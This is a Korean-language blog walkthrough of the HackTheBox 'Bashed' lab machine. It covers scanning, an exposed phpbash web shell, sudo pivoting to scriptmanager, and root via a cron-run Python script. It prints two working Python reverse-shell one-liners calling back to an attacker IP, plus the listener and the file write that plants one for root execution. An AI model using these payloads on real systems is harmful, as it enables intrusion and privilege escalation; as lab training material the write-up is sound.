hackthebox

HackTheBox - Bashed

sheow13 2023. 11. 13. 13:02
728x90

 HackTheBox - Bashed환경 실습

 

 진행 절차

Reconnaissance(정찰)

Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 nmap을 통해 확인해본 결과, HTTP가 Open되어 있음을 확인

명령어
root@kali#nmap sV –sC 10.10.10.68

[NMAP 조회 결과]

 

 

Step 2. 디렉토리 스캔 도구인 dirb를 통해 조회해본 결과, 다수 디렉토리 접근한 것으로 확인되었으며, 취약점 스캔 도구인 nikto를 통해 스캔 시, 디렉토리 인덱싱 취약점이 있는 것으로 확인

명령어
root@kali#dirb http://10.10.10.68
root@kali#nikto –h http://10.10.10.68

[dirb 스캔 결과]
[nikto 조회 결과, 디렉토리 인덱싱 취약점이 있는 것으로 확인]

 

[해당 경로로 접근 시, 디렉토리 인덱싱이 가능한 것으로 확인]

 

Execution(실행)

Step 3. 홈페이지 메인 페이지는 phpbash에 대해 소개하는 페이지로 별다른 특이사항은 없었으며, 디렉토리 인덱싱 취약점이 있는 페이지 점검하는 과정에서 '/dev/' 경로에 'phpbash.php' 파일에 접근 시 bash 환경으로 시스템과 통신할 수 있는 페이지를 발견. 이러한 환경인 경우 공격자와 리버스 커넥션을 맺을 수 있는 취약점이 존재하므로, 이 취약점을 이용하여 리버스 커넥션 연결 시도 시, 정상적으로 연결됨을 확인

명령어
root@kali#python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
root@kali#nc –lvnp 9999

[홈페이지 접근 시, phpbash 소개하는 페이지 이외의 특이사항 없는 것으로 판단]
[디렉토리 인덱싱이 가능한 디렉토리 조회 중, bash 환경을 제공해주는 php 파일 확인]
[디렉토리 인덱싱이 가능한 디렉토리 조회 중, bash 환경을 제공해주는 php 파일 확인]

 

[리버스 커넥션을 위해 코드 삽입]
[리버스 커넥션 성공 확인]

 

Step 4. 권한 상승을 위하여 스캔해보니 www-data 사용자가 scriptmanager 사용자로 명령을 실행할 수 있다는 사항을 발견하여, 사용자 변경하는 명령어 실행 시 scriptmanager로 사용자 변경됨을 확인.

명령어
$sudo -l
$sudo –u scriptmanager /bin/bash

[sudo -l 명령어 입력 시 scriptmanager 사용자로 명령 실행 가능 확인]
[scriptmanger 사용자로 변경]

 

 

Step 5. 변경된 사용자(scriptmanager)로 내부 스캔 시, 루트 경로에 scriptmanager 권한으로 실행되는 디렉토리가 있는 것으로 확인. 해당 경로로 접근 시, test.txt 파일을 오픈해 작성하는 스크립트가 있는 것으로 확인되며, test.txt 변경일자가 계속해서 변경되는 것으로 확인했을 때 crontab이 동작하고 있을 것으로 추측

명령어
python3 –c ‘import pty;pty.spawn(“/bin/bash”)’

[사용자 변경 후 내부 스캔 시, 루트 디렉토리('/')에 변경한 사용자 권한으로 동작하는 디렉토리가 있는 것으로 확인]
[해당 경로로 접근 시, test.txt를 수정하는 스크립트가 있는 것으로 확인]

 

['test.txt' 파일이 계속해서 변경되는 것으로 확인했을 때, crontab이 동작하고 있는 것으로 추측]

 

Privilege Escalation(권한 상승)

Step 6. 루트 권한 상승을 위하여 리버스 쉘 연결하는 쉘 코드 삽입 시 root 권한 리버스 쉘 획득 성공. crontab 확인 했을 때 /scripts 경로에 python 프로그램이 계속 실행되도록 동작하고 있는 것으로 보이며 루트권한으로 실행되어 루트 권한 탈취가능한 것으로 판단. 

명령어
scriptmanager@bashed:/scripts$echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > exploit.py

 

[리버스 쉘 획득을 위한 쉘 코드 삽입]
[루트 쉘 획득 후 crontab 확인 시, 'scripts' 경로에 있는 python 프로그램이 실행되도록 설정 확인]

 

'hackthebox' 카테고리의 다른 글

HackTheBox - Nineveh  (0) 2023.11.22
HackTheBox - Cronos  (2) 2023.11.17
HackTheBox - Beep  (0) 2023.11.15
HackTheBox - Nibbles  (0) 2023.11.14
HackTheBox - Shocker  (0) 2023.11.10